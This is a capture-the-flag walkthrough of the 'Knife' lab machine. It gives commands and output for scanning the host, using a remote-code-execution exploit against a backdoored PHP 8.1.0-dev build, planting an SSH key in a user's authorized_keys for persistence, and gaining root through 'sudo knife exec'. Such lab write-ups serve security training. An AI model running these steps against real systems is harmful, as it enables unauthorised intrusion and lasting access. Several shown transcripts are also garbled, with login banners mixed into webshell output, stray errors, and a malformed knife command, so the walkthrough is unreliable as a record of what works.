

Documentation Knife

First, I started by running an Nmap scan to see which ports are open.

```
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ nmap -sC -sV 10.129.148.122 -vvvv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-23 21:26 BST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:26
Completed NSE at 21:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:26
Completed NSE at 21:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:26
Completed NSE at 21:26, 0.00s elapsed
```

Next, I checked which PHP version is running on the web server so that I can find an exploit for the correct version of PHP.

```
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ curl --head http://10.129.148.122
HTTP/1.1 200 OK
Date: Thu, 23 May 2024 20:28:22 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8
```

The solution for the exploit I found involves using a file. Before using this file, I need to create an ssh_rsa key. This will be done using the following command:

```
1 sudo ssh-keygen
```

```
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ sudo ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ubjmEDnltAcg6uxYiKhmDFmd7mE12kJ7L/mPtCFD/FU root@htb-qnewwoej7s
The key's randomart image is:
+---[RSA 3072]-----+
|  .  .                |
| . o o               |
| . . + *   E         |
| =+ o @ + . .       |
| *o. @ B S .        |
| *. o B * o         |
| o=  o * *          |
| o   ..B +          |
|   oo +..          |
+---[SHA256]-----+
```

Once this is done, we will use our exploit file to connect to the web server. First, we need to give our file the correct permissions so that the following command can be executed properly.

The command to grant the correct permissions is as follows:

```
1 sudo chmod +x exploit.py
```

Now that this is done, we can execute the command in which we will use the recently created rsa key.

Using this command, we will connect to the web server.

```
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ python3 exploit.py -l http://10.129.148.122
* Support: https://ubuntu.com/advantage
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
System information as of Thu 23 May 2024 08:05:23 PM UTC
Target is running on PHP 8.1.0-dev
System load: 0.01
*Shoot your commands below* 54.6% of 9.72GB
Memory usage: 51%
[+] WebShell=- whoami & id
```

In this shell, we will save the newly created key so that we can then establish an SSH connection from our normal terminal.

```
* Documentation: https://help.ubuntu.com
[+] WebShell=- echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC1yFxxJXMewGz2qvmXJ7M
syHJDlj2Y/Bc7WGfcmSps/fmMlXKsEDoUTWdT0BIw1ZqKwe13eMcgZyYoJDMqxCCxs9+q1Nr04C5ff90
NGEf/uvhUFmh29v4MnP4cHudT+s+pqVdwCJC0MXAVL1imal6yaP63XyE0BKrkNIIx/14NRh1nQNVtx15
B6MRXarlrv4CGU0K+6kIxh+NzEVtwto0LqPARms0/DYRTbSz6M9YCLiw/0KV2DEhKQ8ToRYW7xw4jegb
SCHhIsyS3865MRCoEHh6ewxM89SUAnw0PcCz8o5/y1X4G1tDxoGbpvt1bJv2rdCMG3tprQacsDC/qbxR
1g8CEBlsyGGpvqWV/qpLXI0a0guSxYdHelP5+rpsMLMNRxocvxT8qFQDC3ooAuf/XFcPEBXnexWFL6ac
RpfzrlHsMcI0C0Uv3V/pxPtt01E3InMJ9uBGAdkoQRnJu9VEHh5ZX1jINrYjGOBPZW8t1nTdoiHN56eM
uoFt+wFR+pFE= hackthekat123@htb-qnewwoej7s">>/home/james/.ssh/authorized_keys
```

Once this is done, we can grant the correct permissions and establish our SSH connection. This will be done using the following commands:

```
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ chmod 400 ~/.ssh/id_rsa
[us-dedivip-1]-[10.10.14.169]-[hackthekat123@htb-qnewwoej7s]-[~]
[*]$ ssh -i ~/.ssh/id_rsa james@10.129.148.122
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
No input file specified.
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 23 May 2024 08:05:23 PM UTC
System load: 0.01
Usage of /: 54.6% of 9.72GB
Memory usage: 51%
Swap usage: 0%
Processes: 313
Users logged in: 0
IPv4 address for ens160: 10.129.148.122
IPv6 address for ens160: dead:beef::250:56ff:feb0:5683
invalid command
```

When we try to execute the `sudo -l` command, we are blocked because we do not have the correct permissions. We will fix this by using the following command.

```
james@knife:~$ echo "system(\"/bin/bash\")" > shell.rb
```

Once this command is executed, we can run this .rb (Ruby script) file and we will become the root user of the web server and obtain the second flag.

```
james@knife:~$ sudo knife exec shell.rb /s?=>/home
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# ls
shell.rb  user.txt /home/james/.ssh/authorized_keys
root@knife:/home/james# whoami
root
root@knife:/home/james# cat /root/root.txt
a1537d0b4f7692edb80249009b6c686d
root@knife:/home/james#
```



Laat een reactie achter